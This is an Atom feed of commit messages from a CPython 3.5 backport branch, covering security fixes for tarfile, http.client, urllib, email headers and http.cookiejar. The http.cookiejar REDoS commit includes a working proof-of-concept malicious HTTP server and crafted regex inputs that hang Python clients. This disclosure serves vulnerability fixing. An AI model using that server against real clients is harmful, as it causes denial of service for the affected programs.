<feed xmlns='http://www.w3.org/2005/Atom'>
<title>delta/cpython-git.git, branch backport-5a8d121-3.5</title>
<subtitle>github.com: python/cpython.git
</subtitle>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/'/>
<entry>
<title>[3.5] bpo-39017: Avoid infinite loop in the tarfile module (GH-21454)</title>
<updated>2020-07-15T15:28:12+00:00</updated>
<author>
<name>Rishi</name>
<email>rishi_devan@mail.com</email>
</author>
<published>2020-07-15T11:51:00+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=bde4372aa1f39803f5c33f1415e88b000d403d00'/>
<id>bde4372aa1f39803f5c33f1415e88b000d403d00</id>
<content type='text'>
Avoid infinite loop when reading specially crafted TAR files using the tarfile module
(CVE-2019-20907).
(cherry picked from commit 5a8d121a1f3ef5ad7c105ee378cc79a3eac0c7d4)

Co-authored-by: Rishi &lt;rishi_devan@mail.com&gt;
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Avoid infinite loop when reading specially crafted TAR files using the tarfile module
(CVE-2019-20907).
(cherry picked from commit 5a8d121a1f3ef5ad7c105ee378cc79a3eac0c7d4)

Co-authored-by: Rishi &lt;rishi_devan@mail.com&gt;
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-41183: Update finite DH params to 3072 bits (#21278)</title>
<updated>2020-07-02T12:32:05+00:00</updated>
<author>
<name>Christian Heimes</name>
<email>christian@python.org</email>
</author>
<published>2020-07-02T12:32:05+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=f52bf62fe12d46267e958f80dbe1f4425b55cd0f'/>
<id>f52bf62fe12d46267e958f80dbe1f4425b55cd0f</id>
<content type='text'>
Signed-off-by: Christian Heimes &lt;christian@python.org&gt;</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Signed-off-by: Christian Heimes &lt;christian@python.org&gt;</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-41183: Update test certs and keys (#21258)</title>
<updated>2020-07-02T07:07:15+00:00</updated>
<author>
<name>Christian Heimes</name>
<email>christian@python.org</email>
</author>
<published>2020-07-02T07:07:15+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=d565be84993a3d618add139cf21038e12c60a13e'/>
<id>d565be84993a3d618add139cf21038e12c60a13e</id>
<content type='text'>
Manual backport of bpo-34542, GH-8997 and commit
1da2b23504a68ed0432aa74a17ec2533933f5af8 to Python 3.5.

Signed-off-by: Christian Heimes &lt;christian@python.org&gt;</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Manual backport of bpo-34542, GH-8997 and commit
1da2b23504a68ed0432aa74a17ec2533933f5af8 to Python 3.5.

Signed-off-by: Christian Heimes &lt;christian@python.org&gt;</pre>
</div>
</content>
</entry>
<entry>
<title>[3.5] closes bpo-38576: Disallow control characters in hostnames in http.client. (#19300)</title>
<updated>2020-06-20T06:43:50+00:00</updated>
<author>
<name>Tapas Kundu</name>
<email>39723251+tapakund@users.noreply.github.com</email>
</author>
<published>2020-06-20T06:43:50+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=09d8172837b6985c4ad90ee025f6b5a554a9f0ac'/>
<id>09d8172837b6985c4ad90ee025f6b5a554a9f0ac</id>
<content type='text'>
Add host validation for control characters for more
CVE-2019-18348 protection.
(cherry picked from commit 83fc70159b24)</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Add host validation for control characters for more
CVE-2019-18348 protection.
(cherry picked from commit 83fc70159b24)</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-39503: CVE-2020-8492: Fix AbstractBasicAuthHandler (GH-18284) (#19305)</title>
<updated>2020-06-20T06:26:58+00:00</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2020-06-20T06:26:58+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=37fe316479e0b6906a74b0c0a5e495c55037fdfd'/>
<id>37fe316479e0b6906a74b0c0a5e495c55037fdfd</id>
<content type='text'>
The AbstractBasicAuthHandler class of the urllib.request module uses
an inefficient regular expression which can be exploited by an
attacker to cause a denial of service. Fix the regex to prevent the
catastrophic backtracking. Vulnerability reported by Ben Caller
and Matt Schwager.

AbstractBasicAuthHandler of urllib.request now parses all
WWW-Authenticate HTTP headers and accepts multiple challenges per
header: use the realm of the first Basic challenge.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
The AbstractBasicAuthHandler class of the urllib.request module uses
an inefficient regular expression which can be exploited by an
attacker to cause a denial of service. Fix the regex to prevent the
catastrophic backtracking. Vulnerability reported by Ben Caller
and Matt Schwager.

AbstractBasicAuthHandler of urllib.request now parses all
WWW-Authenticate HTTP headers and accepts multiple challenges per
header: use the realm of the first Basic challenge.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-39073: validate Address parts to disallow CRLF (#19007) (#20450)</title>
<updated>2020-06-12T15:33:19+00:00</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2020-06-12T15:33:19+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=f91a0b6df14d6c5133fe3d5889fad7d84fc0c046'/>
<id>f91a0b6df14d6c5133fe3d5889fad7d84fc0c046</id>
<content type='text'>
Disallow CR or LF in email.headerregistry.Address arguments to guard against header injection attacks.

(cherry picked from commit 614f17211c5fc0e5b828be1d3320661d1038fe8f)</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Disallow CR or LF in email.headerregistry.Address arguments to guard against header injection attacks.

(cherry picked from commit 614f17211c5fc0e5b828be1d3320661d1038fe8f)</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-39035: travis: Update image to xenial (#17623)</title>
<updated>2020-06-12T14:46:40+00:00</updated>
<author>
<name>Inada Naoki</name>
<email>songofacandy@gmail.com</email>
</author>
<published>2020-06-12T14:46:40+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=f88b578949a034f511dd1b4c1c161351b3ee0db8'/>
<id>f88b578949a034f511dd1b4c1c161351b3ee0db8</id>
<content type='text'>
Use image same to master to ease maintainance.
Remove "group: beta" to make Travis more stable.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Use image same to master to ease maintainance.
Remove "group: beta" to make Travis more stable.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38804: Fix REDoS in http.cookiejar (GH-17157) (#17344)</title>
<updated>2020-04-03T01:37:32+00:00</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2020-04-03T01:37:32+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=55a6a16a46239a71b635584e532feb8b17ae7fdf'/>
<id>55a6a16a46239a71b635584e532feb8b17ae7fdf</id>
<content type='text'>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller &lt;bcaller@users.noreply.github.com&gt;</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.

(cherry picked from commit 1b779bfb8593739b11cbb988ef82a883ec9d077e)

Co-authored-by: bcaller &lt;bcaller@users.noreply.github.com&gt;</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-40156: Copy Codecov configuration from master (#19309)</title>
<updated>2020-04-02T23:09:58+00:00</updated>
<author>
<name>Victor Stinner</name>
<email>vstinner@python.org</email>
</author>
<published>2020-04-02T23:09:58+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=ed07522a5faa3101f68be8e4b8369310f60860f8'/>
<id>ed07522a5faa3101f68be8e4b8369310f60860f8</id>
<content type='text'>
Disable "Codevov patch" job on pull requests.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Disable "Codevov patch" job on pull requests.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38945: UU Encoding: Don't let newline in filename corrupt the output format (GH-17418) (GH-17444) (#17445)</title>
<updated>2020-03-21T05:42:50+00:00</updated>
<author>
<name>Ned Deily</name>
<email>nad@python.org</email>
</author>
<published>2020-03-21T05:42:50+00:00</published>
<link rel='alternate' type='text/html' href='http://91.123.203.49/cgit/delta/cpython-git.git/commit/?id=8835f465fa94f114dcf865429c0410821d365dae'/>
<id>8835f465fa94f114dcf865429c0410821d365dae</id>
<content type='text'>
(cherry picked from commit a62ad4730c9b575f140f24074656c0257c86a09a)

Co-authored-by: Matthew Rollings &lt;1211162+stealthcopter@users.noreply.github.com&gt;</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
(cherry picked from commit a62ad4730c9b575f140f24074656c0257c86a09a)

Co-authored-by: Matthew Rollings &lt;1211162+stealthcopter@users.noreply.github.com&gt;</pre>
</div>
</content>
</entry>
</feed>
